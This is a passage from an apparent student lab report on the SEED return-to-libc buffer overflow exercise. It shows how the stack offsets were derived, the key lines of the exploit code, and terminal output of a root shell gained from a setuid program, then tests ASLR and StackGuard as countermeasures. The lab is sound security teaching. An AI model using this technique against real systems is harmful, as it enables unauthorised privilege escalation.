1. Find the Buffer's Starting Point: Determine the starting point of the buffer in the stack frame. This will be the reference for your offsets.
2. Locate the Return Address: Identify the exact location where the return address is stored. This can typically be done by creating a pattern in the buffer and observing where the pattern appears in the overwritten return address after a crash.
3. Calculate Offsets:
 - Y: The offset for the `system()` address is critical because it overwrites the return address on the stack. Through analysis or trial and error, you find that when the function `bof()` returns, the return address is located 34 bytes away from the start of the buffer.
 - Z: The `exit()` function's address is used to ensure that the program exits cleanly after executing `system()`. You determine that the exit address should be placed 38 bytes from the start of the buffer, right after the address of `system()` to maintain the correct order of execution.
 - X: Finally, the address of the string `/bin/sh` must be placed in the memory location where the `system()` function will look for its argument. Through debugging, you find that the correct offset for this address is 42 bytes from the start of the buffer.

In my case when the buffer size is 22, than the X is 42, Y is 34, and Z is 38.

```
[03/03/24]seed@VM:~/.../section4$ vim exploit.c
[03/03/24]seed@VM:~/.../section4$ gcc -o exploit exploit.c
[03/03/24]seed@VM:~/.../section4$ ./exploit
[03/03/24]seed@VM:~/.../section4$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),2
# quit
zsh: command not found: quit
# exit
[03/03/24]seed@VM:~/.../section4$ ./retlib
# whoami
root
# exit
[03/03/24]seed@VM:~/.../section4$
```

Figure 24: Exploiting the Vulnerability

```
1 *(long *) &buf[42] = 0xbffffeeb; // \verb|/bin/sh|
2 *(long *) &buf[34] = 0xb7e42da0; // system()
3 *(long *) &buf[38] = 0xb7e369d0; // exit()
```

Listing 5: exploit.c major part

The `exit()` function ensures a clean exit, and changing the filename affects the stack layout, thereby altering the necessary offsets for a successful exploit.

Each change in the environment or program must be analyzed and compensated for to maintain the exploit's effectiveness. These experiments should only be performed in a controlled, ethical, and legal setting.

4.6 Address Randomization

From the observations figured as 25a, 25b, 25c, the address of `system()` and the `MYSHELL` env are randomized per execute.

With ASLR enabled, the attack developed in Subsection 4.5 fails to yield a shell. ASLR randomizes the memory addresses of the stack, heap, and libraries, making hardcoded addresses in the exploit invalid. The unpredictability of `system()`, `exit()`, and `system()/bin/sh`—addresses means the exploit no longer reliably redirects execution.

Consequently, the return-to-libc attack is thwarted as the exploit cannot accurately predict where to jump in memory, demonstrating ASLR's effectiveness in increasing security against such attacks.

```
Stopped reason: SIGSEGV
0xb7e42da0 in ?? ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7617da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb760b9d0 <__GI_exit>
gdb-peda$
```

(a) system and exit address1

```
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xb756ada0 <__libc_system>
gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xb755e9d0 <__GI_exit>
gdb-peda$ quit
[03/03/24]seed@VM:~/.../section4$ gdb -q retlib
```

(b) system and exit address2

```
gdb-peda$ quit
[03/03/24]seed@VM:~/.../section4$ ./env555
bffeaeeb
[03/03/24]seed@VM:~/.../section4$ ./env555
bfe4feeb
[03/03/24]seed@VM:~/.../section4$ ./env555
bf944eeb
[03/03/24]seed@VM:~/.../section4$
```

(c) shell address

Figure 25: Observations for Address Randomization

4.7 Stack Guard Protection

As shown in Figure 26, with Stack Guard protection enabled and address randomization disabled, executing the same return-to-libc attack will not yield a shell. The attack attempts to overwrite the return address, but in doing so, it also overwrites the canary. Upon the integrity check, Stack Guard detects the change in the canary value and aborts the program, as evidenced by the "stack smashing detected" message. This protection makes buffer overflow attacks more difficult because it adds an additional layer of defense that must be circumvented.

```
[03/03/24]seed@VM:~/.../section4$ gcc -o retlib -z noexecstack retlib.c
[03/03/24]seed@VM:~/.../section4$ sudo chown root retlib
[03/03/24]seed@VM:~/.../section4$ sudo chmod 4755 retlib
[03/03/24]seed@VM:~/.../section4$ ./retlib
*** stack smashing detected ***: ./retlib terminated
Aborted
[03/03/24]seed@VM:~/.../section4$
[03/03/24]seed@VM:~/.../section4$
```

Figure 26: Result of Stack Guard Protection

5 Format String Vulnerability

5.1 Crash the program